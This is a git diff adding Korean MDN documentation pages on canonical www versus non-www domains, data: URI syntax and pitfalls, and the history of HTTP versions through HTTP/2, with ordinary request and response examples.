+<p>이 경우에, 비표준 도메인에 대한 알맞은 HTTP {{HTTPStatus(301)}}로 응답하기 위해 서버가 (www 그리고 비(非)-www URL에 대해 거의 동일해보이는) HTTP 요청을 받도록 구성해야 할 필요가 있습니다. 이것은 표준 URL과 동등한 비표준 URL에 접근하도록 브라우저를 리다이렉트시킬 겁니다. 예를 들어, 비-www URLs을 표준 타입으로 사용하도록 선택했다면, 모든 www URL들은 그와 동등한 www가 없는 URL로 리다이렉트되게 됩니다.</p>
+
+<p>예:</p>
+
+<ol>
+ <li>서버가 <code>http://www.example.org/whaddup</code> 에 대한 요청을 받습니다(표준 도메인이 example.org인 경우).</li>
+ <li>서버는 헤더인 {{HTTPHeader("Location<code>")}}: http://example.org/whaddup</code> 와 함께 {{HTTPStatus(301)}} 코드로 응답하게 됩니다.</li>
+ <li>클라이언트는 표준 도메인(<code>http://example.org/whatddup)</code>에 대한 요청을 발급합니다.</li>
+</ol>
+
+<p><a href="https://github.com/h5bp/html5-boilerplate">HTML5 보일러플레이트 프로젝트</a>는 <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">하나의 도메인을 다른 도메인으로 리다이렉티시키도록 Apache 서버 구성하는 방법</a>에 대한 예제를 가지고 있습니다.</p>
+
+<h3 id="&lt;link_relcanonical>_사용하기"><em><code>&lt;link rel="canonical"&gt;</code> </em>사용하기</h3>
+
+<p>페이지의 정규 주소가 무엇인지를 가리키기 위해 페이지에 특별한 HTML {{HTMLElement("link")}} 엘리먼트를 추가하는 것이 가능합니다. 이것은 페이지를 보는 사람에게는 별 다른 영향이 없지만 검색 엔진 크롤러에게 페이지가 실제로 위치한 곳을 알려줍니다. 그렇게 하면 검색 엔진이 동일한 페이지를 여러 번 색인하지 않으므로, 중복 컨텐츠 혹은 어떤 종류의 스팸으로 간주하게 될 수도 있고 심지어 검색 엔진 결과 페이지에서 당신의 페이지를 제거하거나 우선순위가 낮아질 수도 있습니다.</p>
+
+<p>그런 태그를 추가하게 되면, 두 가지 도메인에 대해 같은 내용을 서브하며 어떤 URL이 표준인지를 검색 엔진에게 알려주게 됩니다. 이전 예제에서, <code>http://www.example.org/whaddup</code> 는 <code>http://example.org/whaddup</code>와 동일한 내용을 서브하지만 head 내 추가적인 {{htmlelement("link")}} 요소가 자리하고 있을 겁니다:</p>
+
+<p><code>&lt;link href="http://example.org/whaddup" rel="canonical"&gt;</code></p>
+
+<p>이전 경우와 다르게, 브라우저 기록은 비-www와 www URL들을 개별적인 엔트리로 판단할 겁니다.</p>
+
+<h2 id="당신의_페이지가_두_가지_경우_모두에_동작하도록_만드세요">당신의 페이지가 두 가지 경우 모두에 동작하도록 만드세요</h2>
+
+<p>앞서 말한 기술들을 가지고, 당신은 당신의 서버가 www가 접두화된 도메인과 그렇지 않은 도메인 모두에 정확하게 응답하도록 구성할 수 있습니다. 이것은 브라우저의 URL 표시줄에 사용자가 어떤 URL을 타이프할지 예상할 수가 없기에 좋은 조언입니다. 정식 위치로 사용할 타입을 선택한 다음 다른 타입으로 리다이렉션하는 것이 중요합니다.</p>
+
+<h2 id="결정하기">결정하기</h2>
+
+<p class="entry-title">이것은 <a href="http://bikeshed.com/">bikeshedding</a> 이슈로 간주될 수도 있는 주관적인 주제입니다. 더 자세한 정보를 얻으려면, <a href="http://www.hyperarts.com/blog/www-vs-non-www-for-your-canonical-domain-url-which-is-best-and-why/">당신의 표준 도메인 URL을 위한 WWW vs non-WWW – 어떤 것이 최선이고 왜 그러한가?</a>를 읽어보시기 바랍니다. 더 많은 정보를 얻을 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2>
+
+<ul>
+ <li><a href="http://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">URL 바에서 사람들이 타이프하는 것들의 현황</a> (2011)</li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/data_uris/index.html b/files/ko/web/http/basics_of_http/data_uris/index.html
new file mode 100644
index 0000000000..60aec88903
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/data_uris/index.html
@@ -0,0 +1,162 @@
+---
+title: Data URIs
+slug: Web/HTTP/Basics_of_HTTP/Data_URIs
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Data URIs</strong>, 즉 <code>data:</code> 스킴이 접두어로 붙은 URL은 컨텐츠 작성자가 작은 파일을 문서 내에 인라인으로 임베드할 수 있도록 해줍니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>Data URIs는 네 가지 파트로 구성됩니다: 접두사(<code>data:</code>), 데이터의 타입을 가리키는 MIME 타입, 텍스트가 아닌 경우 사용될 부가적인 <code>base64</code> 토큰 그리고 데이터 자체:</p>
+
+<pre class="syntaxbox">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;
+</pre>
+
+<p><code>mediatype</code>이란, MIME 타입을 말합니다(JPEG 이미지의 경우 <code>'image/jpeg'</code>). 만약 생략된다면, 기본 값으로 <code>text/plain;charset=US-ASCII</code>이 사용됩니다.<code> </code></p>
+
+<p>데이터가 텍스트인 경우, 단순히 텍스트를 (포함된 문서 유형에 따라 적합한 엔티티 혹은 이스케이프를 사용하여) 임베드할 수 있습니다. 그게 아니라면, base64로 인코딩된 이진 데이터를 임베드하기 위해 <code>base64</code>를 지정할 수 있습니다.</p>
+
+<p>몇 가지 예제:</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>간단한 text/plain 데이터</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>위 예제의 base64 인코딩 버전</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd><code>&lt;h1&gt;Hello, World!&lt;/h1&gt;인 HTML 문서</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>자바스크립트 얼럿을 실행하는 HTML 문서입니다. 닫기 스크립트 태그가 필요하다는 것을 기억하세요.</dd>
+</dl>
+
+<h2 id="base64_포맷으로_데이터_인코딩하기">base64 포맷으로 데이터 인코딩하기</h2>
+
+<p>리눅스와 Mac OS X 시스템의 명령줄에서 <code>uuencode</code> 유틸리티를 사용해 쉽게 인코딩할 수 있습니다:</p>
+
+<pre>uuencode -m infile remotename
+</pre>
+
+<p><code>infile</code> 파라메터는 base64 포맷으로 인코딩하려는 파일의 이름이며, <code>remotename</code>는 파일에 대한 원격지 이름으로 <code>data</code> URLs내에서는 실제로 사용되지 않습니다.</p>
+
+<p>출력은 다음과 같은 내용일 겁니다:</p>
+
+<pre>begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+</pre>
+
+<p>Data URI는 초기 헤더줄 다음의 인코딩된 데이터를 사용하게 됩니다.</p>
+
+<h3 id="웹_페이지에서_JavaScript_사용하기">웹 페이지에서 JavaScript 사용하기</h3>
+
+<p>웹 API는 base64로 인코딩하거나 디코딩하기 위한 프리미티브를 가지고 있습니다: <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 인코딩과 디코딩</a>.</p>
+
+<h2 id="일반적인_문제점">일반적인 문제점</h2>
+
+<p>이 섹션에서는 <code>data</code> URIs를 만들고 사용할 때 일반적으로 발생하는 문제점들에 대해 설명합니다.</p>
+
+<dl>
+ <dt>구문</dt>
+ <dd><code>data</code> URIs를 위한 문법은 매우 간단하지만, "data" 세그먼트 앞에 콤마를 넣는 것을 쉽게 잊거나 데이터를 base64 포맷으로 부정확하게 인코딩하는 경우가 있습니다.</dd>
+ <dt>HTML 내에 포맷시키기</dt>
+ <dd><code>data</code> URI는 동봉된 문서의 너비에 비례할 가능성이 높은 파일 내에 파일을 제공하게 됩니다. URL로 <code>data</code>를 공백 문자(라인 피드, 탭 혹은 스페이스)을 사용해 포맷이 가능해야 하지만 <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">base64 인코딩을 사용할 때</a> 일어나는 실질적인 문제가 있습니다.</dd>
+ <dt>길이 제한</dt>
+ <dd>파이어폭스는 기본적으로 길이 제한이 없는 <code>data</code> URIs를 지원하지만, 브라우저들은 데이터의 개별적인 최대 길이를 제공해야 할 의무가 없습니다. 예를 들어, 오페라 11 브라우저는 <code>data</code> URL을 65529 문자로 제한하는 65535 개의 character long으로 제한합니다(MIME 타입을 지정하지 않고 plain <code>data</code>를 사용한다면, 소스가 아닌 인코딩된 데이터의 길이는 65529자가 됩니다).</dd>
+ <dt>오류 처리의 부족</dt>
+ <dd>미디어 내의 유효하지 않은 파라메터들 또는 '<code>base64</code>'를 지정할 때 오타들은 무시되지만 오류가 발생하지는 않습니다.</dd>
+ <dt>쿼리 문자열에 대한 미지원 등</dt>
+ <dd>
+ <p>data URI의 data 일부는 불명확해서 데이터 URI를 이용해 쿼리 문자열(<code>&lt;url&gt;?parameter-data</code> 문법을 이용한 페이지 특정의 파라메터)을 사용하려는 시도는 URI가 나타내는 데이터 내에 쿼리 문자열을 포함하게 됩니다. 예를 들어: </p>
+
+ <pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+ <p>이는 내용이 다음과 같은 HTML 리소스를 나타냅니다:</p>
+
+ <pre class="eval">lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+ </dd>
+</dl>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2397")}}</td>
+   <td>The "data" URL scheme"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12<sup>[2]</sup></td>
+   <td>{{CompatIE(8)}}<sup>[1][2]</sup></td>
+   <td>7.20</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] IE8은 CSS 파일 내의 data URIs만 최대 32kB 크기 내에서 지원합니다.</p>
+
+<p>[2]IE9과 그 이후, 그리고 엣지를 포함한 버전은 CSS와 JS 파일 내 data URIs를 최대 크기 4GB내에서 지원하지만, HTML 파일 내에서는 지원하지 않습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 인코딩과 디코딩</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/en-US/docs/URI">URI</a></li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/evolution_of_http/index.html b/files/ko/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..827ca42f63
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,201 @@
+---
+title: HTTP의 진화
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+tags:
+  - HTTP
+  - HTTP 역사
+  - 가이드
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><strong>HTTP</strong>는 월드 와이드 웹에 내재된 프로토콜입니다. Tim Berners-Lee에 의해 1989년부터 1991년에 발명된 HTTP는, 본래의 단순함의 대부분을 지키면서 확장성 위에서 만들어지도록, 많은 수정을 거쳐왔습니다. HTTP는 의사-신뢰도가 있는 실험실 환경에서 파일을 교환하는 프로토콜에서 높은 수준의 분석과 3D 내에서 이미지와 비디오를 실어나르는 현대 인터넷 정글로 진화해 왔습니다.</p>
+
+<h2 id="월드_와이드_웹의_발명">월드 와이드 웹의 발명</h2>
+
+<p>1989년 당시 제네바의 CERN에서 일하고 있던 Tim Berners-Lee는 인터넷 상의 하이퍼텍스트 시스템을 만들기 위한 제안을 작성했습니다. 초기에 <em>Mesh</em>라고 불리던 그것은 1990년에 구현 과정에서 <em>월드 와이드 웹</em>으로 이름을 바꿨습니다. 기존의 TCP 그리고 IP 프로토콜 상에서 만들어지면서 4개의 빌딩 블록으로 구성되었습니다:</p>
+
+<ul>
+ <li>하이퍼텍스트 문서를 표현하기 위한 텍스트 형식의 <em><a href="/en-US/docs/Web/HTML">하이퍼텍스트 마크업 언어</a></em> (HTML).</li>
+ <li>문서 같은 것을 교환하기 위한 간단한 프로토콜인 <em>하이퍼텍스트 전송 프로토콜 </em>(HTTP).</li>
+ <li>문서를 디스플레이(그리고 우발적으로 수정)하기 위한 클라이언트인 <em>월드 와이드 웹</em>(WorldWideWeb)이라고 불리는 첫번째 브라우저.</li>
+ <li>문서에 접근하도록 해주는, <em>httpd</em>의 초기 버전.</li>
+</ul>
+
+<p>이 네 개의 빌드 블록은 1990년 말에 완료되었으며, 첫번째 서버는 1991년 초에 CERN 외부에서 가동을 시작했습니다. 1991년 9월 6일, <em>alt.hypertext</em> 공개 뉴스 그룹의 Tim Berners-Lee의 <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">포스트</a>가 공개 프로젝트로써의 월드 와이드 웹의 공식적인 출발점으로 여겨집니다.</p>
+
+<p>이렇게 초기 단계에 사용되던 HTTP 프로토콜은 매우 간단했으며 이후 HTTP/0.9 버전을 부여했으며 때로는 원-라인 프로토콜로 불리기도 했습니다.</p>
+
+<h2 id="HTTP0.9_–_원-라인_프로토콜">HTTP/0.9 – 원-라인 프로토콜</h2>
+
+<p>HTTP 초기 버전에는 버전 번호가 없었습니다; HTTP/0.9는 이후에 차후 버전과 구별하기 위해 0.9로 불리게 됐습니다. HTTP/0.9는 극히 단순합니다: 요청은 단일 라인으로 구성되며 리소스에 대한 (프로토콜, 서버 그리고 포트는 서버가 연결되고 나면 불필요로 하므로 URL은 아닌) 경로로 가능한 메서드는 {{HTTPMethod("GET")}}이 유일했습니다.</p>
+
+<pre>GET /mypage.html</pre>
+
+<p>응답 또한 극도로 단순합니다: 오로지 파일 내용 자체로 구성됩니다.</p>
+
+<pre>&lt;HTML&gt;
+A very simple HTML page
+&lt;/HTML&gt;</pre>
+
+<p>그 이후에 진화와는 다르게, HTTP 헤더가 없었는데 이는 HTML 파일만 전송될 수 있으며 다른 유형의 문서는 전송될 수 없음을 의미합니다. 상태 혹은 오류 코드도 없었습니다: 문제가 발생한 경우, 특정 HTML 파일이 사람이 처리할 수 있도록, 해당 파일 내부에 문제에 대한 설명과 함께 되돌려 보내졌었습니다.</p>
+
+<h2 id="HTTP1.0_–_확장성_만들기">HTTP/1.0 – 확장성 만들기</h2>
+
+<p>HTTP/0.9는 매우 제한적이었으며 브라우저와 서버 모두 좀 더 융통성을 가지도록 빠르게 확장되었습니다:</p>
+
+<ul>
+ <li>버전 정보가 각 요청 사이내로 전송되기 시작했습니다. (<code>HTTP/1.0</code> 이 <code>GET</code> 라인에 붙은 형태로)</li>
+ <li>상태 코드 라인 또한 응답의 시작 부분에 붙어 전송되어, 브라우저가 요청에 대한 성공과 실패를 알 수 있고 그 결과에 대한 동작(특정 방법으로 그것의 로컬 캐시를 갱신하거나 사용하는 것과 같은)을 할 수 있게 되었습니다.</li>
+ <li>HTTP 헤더 개념은 요청과 응답 모두를 위해 도입되어, 메타데이터 전송을 허용하고 프로토콜을 극도로 유연하고 확장 가능하도록 만들어주었습니다.</li>
+ <li>새로운 HTTP 헤더의 도움으로, 평이한 HTML 파일들 외에 다른 문서들을 전송하는 기능이 추가되었습니다({{HTTPHeader("Content-Type")}} 덕분에).</li>
+</ul>
+
+<p>다음은 일반적인 요청과 응답입니다:</p>
+
+<pre>GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+A page with an image
+  &lt;IMG SRC="/myimage.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>두 번재 커넥션에 의한 이미지를 내려받기 위한 요청과 그에 대한 응답입니다:</p>
+
+<pre>GET /myimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(image content)</em></pre>
+
+<p>이런 새로운 기능들은 합의된 노력들로써 도입되지는 않았지만 1991년부터 1995년까지의 기간 동안 일단 해보자는 접근법으로 이루어졌습니다: 서버와 브라우저에 기능을 추가한 뒤, 그것이 관심을 끄는지 지켜보았습니다. 수많은 상호작용의 문제는 일반적이었습니다. 1996년 11월에, 이런 괴로운 문제를 해결하기 위해, 일반적인 실제 내용을 설명하는 정보 문서는 {{RFC(1945)}}에 공개되었습니다. 이것이 HTTP/1.0의 정의이며, 용어의 좁은 의미에서 공식적인 표준이 아니라는 것은 주목할 만한 일입니다.</p>
+
+<h2 id="HTTP1.1_–_표준_프로토콜">HTTP/1.1 – 표준 프로토콜</h2>
+
+<p>1995부터 다양한 HTTP/1.0 구현이 동시에 진행되어, 그 이듬해 HTTP/1.0 문서 출간 전까지, 합당한 표준화가 진행 중에 있었습니다. HTTP의 첫번째 표준 버전인 HTTP/1.1은 HTTP/1.0이 나온지 몇 달 안되서 1997년 초에 공개되었습니다.</p>
+
+<p>HTTP/1.1은 모호함을 명확하게 하고 많은 개선 사항들을 도입했습니다:</p>
+
+<ul>
+ <li>커넥션이 재사용될 수 있게 하여, 탐색된 단일 원본 문서 내로 임베드된 리소스들을 디스플레이하기 위해 사용된 커넥션을 다시 열어 시간을 절약하게 하였습니다.</li>
+ <li>파이프라이닝을 추가하여, 첫번째 요청에 대한 응답이 완전히 전송되기 이전에 두번째 요청 전송을 가능케 하여, 커뮤니케이션 레이턴시를 낮췄습니다.</li>
+ <li>청크된 응답 또한 지원됩니다.</li>
+ <li>추가적인 캐시 제어 메커니즘이 도입되었습니다.</li>
+ <li>언어, 인코딩 혹은 타입을 포함한 컨텐츠 협상이 도입되어, 클라이언트와 서버로 하여금 교환하려는 가장 적합한 컨텐츠에 대한 동의를 가능케 했습니다.</li>
+ <li>{{HTTPHeader("Host")}} 헤더 덕분에, 동일 IP 주소에 다른 도메인을 호스트하는 기능이 서버 코로케이션을 가능케 합니다.</li>
+</ul>
+
+<p>다음은 하나의 단일 커넥션을 통한 요청의 전형적인 전체 흐름의 예시입니다:</p>
+
+<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(content)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(image content of 3077 bytes)</em></pre>
+
+<p>HTTP/1.1는 1997년 1월에 {{rfc(2068)}}에서 처음 공개되었습니다.</p>
+
+<h2 id="15년_넘게_진행된_확장">15년 넘게 진행된 확장</h2>
+
+<p>(새로운 헤더 혹은 메서드를 생성하기 쉬운) 확장성 덕분에, 그리고 1999년 6월에 공개된 {{RFC("2616")}}과 HTTP/2 릴리즈의 예견 속에서 2014년 6월에 공개된 {{RFC("7230")}}-{{RFC("7235")}} 시리즈, 그런 두번에 걸친 리비전을 통해 정재되었에도, 이 프로토콜은 15년 넘도록 극도로 안정성을 유지해왔습니다.</p>
+
+<h3 id="보안_전송을_위한_HTTP_사용">보안 전송을 위한 HTTP 사용</h3>
+
+<p>HTTP에 일어났던 가장 큰 변화는 1994년 말에 이미 완료되었습니다. 기본적인 TCP/IP 스택을 통해 HTTP를 전송하는 대신에, 넷스케이프 커뮤니케이션은 그것의 토대 위에 추가적인 암호화된 전송 계층인 SSL을 만들어냈습니다. SSL 1.0은 회사 외부로 릴리즈된 적이 없으며, SSL 2.0과 그것의 후계자인 SSL 3.0과 SSL 3.1은 서버와 클라이언트 간에 교환된 메시지 인증을 암호화하고 보장하여 e-커머스 웹 사이트를 만들어내도록 했습니다. SSL은 표준 트랙 상에 놓여져 있었고 마침내 TLS가 되어, 성공적으로 취약성을 종식시키는 1.0, 1.1 그리고 1.2 버전이 나와있습니다. TLS 1.3은 현재 진행 중에 있습니다.</p>
+
+<p>같은 시간 동안, 암호화된 전송 계층에 대한 필요성이 대두되었습니다: 웹은 광고주, 불특정 개인, 혹은 범죄자가 다른 사람인척 가장하거나 전송된 데이터를 수정된 데이터로 대치시키고자, 개인 정보를 빼내려고 경쟁하는 정글 속에, 거의 학문적인 네트워크의 상대적인 신뢰를 남겨두었습니다. HTTP 상에서 만들어진 애플리케이션들이 주소록, 이메일 혹은 사용자의 지리적 위치와 같은 수 많은 개인 정보에 접근하는 등 점점 더 강력해짐에 따라, TLS의 필요성은 e-커머스 사용 케이스 외에 여기 저기서 나타나게 되었습니다.</p>
+
+<h3 id="복잡한_애플리케이션을_위한_HTTP_사용">복잡한 애플리케이션을 위한 HTTP 사용</h3>
+
+<p>웹에 대한 Tim Berners-Lee의 본래 비전은 읽기 전용의 매체는 아니었습니다. 그는 사람들이 문서를 원격으로 추가하거나 이동시킬 수 있는, 분산된 파일 시스템의 한 종류로 웹을 상상했었습니다. 1996 쯤, HTTP는 저작을 허용하도록 확장되었으며 WebDAV라고 불리는 표준이 만들어졌습니다. 그것은 주소록 개체들을 다루기 위한 CardDAV 그리고 달력을 다루기 위한 CalDav와 같은 특정 애플리케이션들로 더 확장되었습니다. 그러나 이런 모든 *DAV 확장들은 한 가지 결점을 갖고 있었습니다: 꽤 복잡한, 사용하고 있는 서버에 의해 구현되어야만 한다는 것이었죠. 웹 영역에서 그것들을 사용하는 것은 극비로 남겨져 있었습니다.</p>
+
+<p>2000년에, HTTP 사용에 대한 새로운 패턴이 고안되었습니다: {{glossary("REST", "representational state transfer")}} (혹은 REST). API에 의해 유도되는 액션들은 새로운 HTTP 메서드 뿐만 아니라, 기초적인 HTTP/1.1 메서드를 이용한 특정 URI 접근에 의해서도 더 이상 전달되지 않았습니다. 이것은 모든 웹 애플리케이션으로 하여금 브라우저나 서버의 갱신없이 데이터 탐색과 수정을 허용하는 API 제공을 가능케했습니다: 필요로 하는 모든 것은 표준 HTTP/1.1을 통해 웹 사이트에 의해 서브되는 파일 내로 임베드되는 것이었습니다. REST 모델의 단점은 각각의 웹사이트가 자신의 비표준 RESTful API를 정의하고 그에 대한 전권을 가진다는 사실에 있습니다; *DAV 확장과는 다르게 클라이언트와 서버들은 상호작용이 가능합니다. RESTful API들은 2010년에 들어 매우 일반적인 게 되었습니다.</p>
+
+<p>2005년부터, 웹 페이지에서 사용 가능한 API 집합들이 급격히 늘어나게 되었고 이들 API 중 몇몇은, 거의 새로운 특성화된 HTTP 헤더로, 특정한 목적을 위해 HTTP 프로토콜에 확장을 만들어냈습니다:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">서버 전송 이벤트</a>, 서버가 브라우저로 이따금씩 보내는 메시지를 푸쉬할 수 있는 곳.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">웹소켓</a>, 기존 HTTP 커넥션을 업그레이드하여 만들 수 있는 새로운 프로토콜.</li>
+</ul>
+
+<h3 id="웹의_보안_모델_완화">웹의 보안 모델 완화</h3>
+
+<p>HTTP는 웹의 보안 모델인 <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin 정책</a>에서 독립되어 있습니다. 사실, 현재의 웹 보안 모델은 HTTP이 만들어진 이후에 개발되어 왔습니다! 몇 년에 걸쳐, 이 정책의 몇 가지 정책을 고무시키기 위해 확실한 제약사항 아래 허용함으로써, 좀 더 관대해지도록 하는 것이 유용하다는 것을 증명해왔습니다. 제약사항이 얼마나 그리고 언제 리프트될지는 HTTP 헤더의 새로운 묶음들을 사용하는 서버부터 클라이언트에 의해 전도됩니다. 이러한 내용들은 <a href="/en-US/docs/Glossary/CORS">Cross-Origin 리소스 공유</a> (CORS) 혹은 <a href="/en-US/docs/Web/Security/CSP">컨텐츠 보안 정책</a> (CSP)과 같은 스펙 내에 정의되어 있습니다.</p>
+
+<p>이런 커다란 확장에 덧붙여, 다른 많은 헤더들이, 때로는 실험적으로만, 추가되어 오고 있습니다. 주목할 만한 헤더들은 프라이버시를 제어하기 위한 Do Not Track ({{HTTPHeader("DNT")}}) 헤더, {{HTTPHeader("X-Frame-Options")}}, 혹은 {{HTTPHeader('Upgrade-Insecure-Request')}}이 있고, 그 외에도 수많은 헤더들이 존재합니다.</p>
+
+<h2 id="HTTP2_–_더_나은_성능을_위한_프로토콜">HTTP/2 – 더 나은 성능을 위한 프로토콜</h2>
+
+<p>몇 년에 걸쳐, 웹 페이지는 매우 복잡해지면서, 종종 진정한 애플리케이션이 됩니다. 디스플레이되는 시각적 미디어의 양에 덧붙여 상호작용을 추가하기 위한 스크립트의 양과 크기는 점점 더 많이 증가하고 있습니다: 더 많은 데이터들이 더 많은 요청 너머로 전송되고 있습니다. HTTP/1.1 커넥션은 올바른 순서로 전송되는 요청을 필요로 합니다. 또한, 몇몇 병렬 커넥션이 이론적으로 사용 가능한 경우(일반적으로 5와 8 사이에서), 여전히 많은 양의 오버헤드와 복잡도가 남아 있습니다.  예를 들어, HTTP 파이프라이닝은 디플로이 악몽임이 확실해졌습니다.</p>
+
+<p>2010년 전반기에, Google은 실험적인 SPDY 프로토콜을 구현하여, 클라이언트와 서버 간의 데이터 교환을 대체할 수단을 실증하였습니다. 그것은 브라우저와 서버 측 모두에 있어 많은 관심을 불러일으켰습니다. 응답성 증가 능력을 입증하고 전송된 데이터 중복에 관한 문제를 해결하면서, SPDY는 HTTP/2 프로토콜의 기초로써 기여했습니다.</p>
+
+<p>HTTP/2 프로토콜은 HTTP/1.1 버전과 다른 몇가지 근본적인 차이점을 가지고 있습니다:</p>
+
+<ul>
+ <li>그것은 텍스트 프로토콜이라기 보다는 이진 프로토콜입니다. 더 이상 읽을 수도 없고 수작업을 만들어낼 수 없습니다; 이런 결점에 대한 보상으로, 새로운 최적화 기술이 구현될 수 있습니다.</li>
+ <li>병렬 요청이 동일한 커넥션 상에서 다루어질 수 있는 다중화 프로토콜로, 순서를 제거해주고 HTTP/1.x 프로토콜의 제약사항을 막아줍니다.</li>
+ <li>전송된 데이터의 분명한 중복과 그런 데이터로부터 유발된 불필요한 오버헤드를 제거하면서, 연속된 요청 사이의 매우 유사한 내용으로 존재하는 헤더들을 압축시킵니다.</li>
+ <li>서버로 하여금 사전에 클라이언트 캐시를 서버 푸쉬라고 불리는 메커니즘에 의해, 필요하게 될 데이터로 채워넣도록 허용합니다.</li>
+</ul>
+
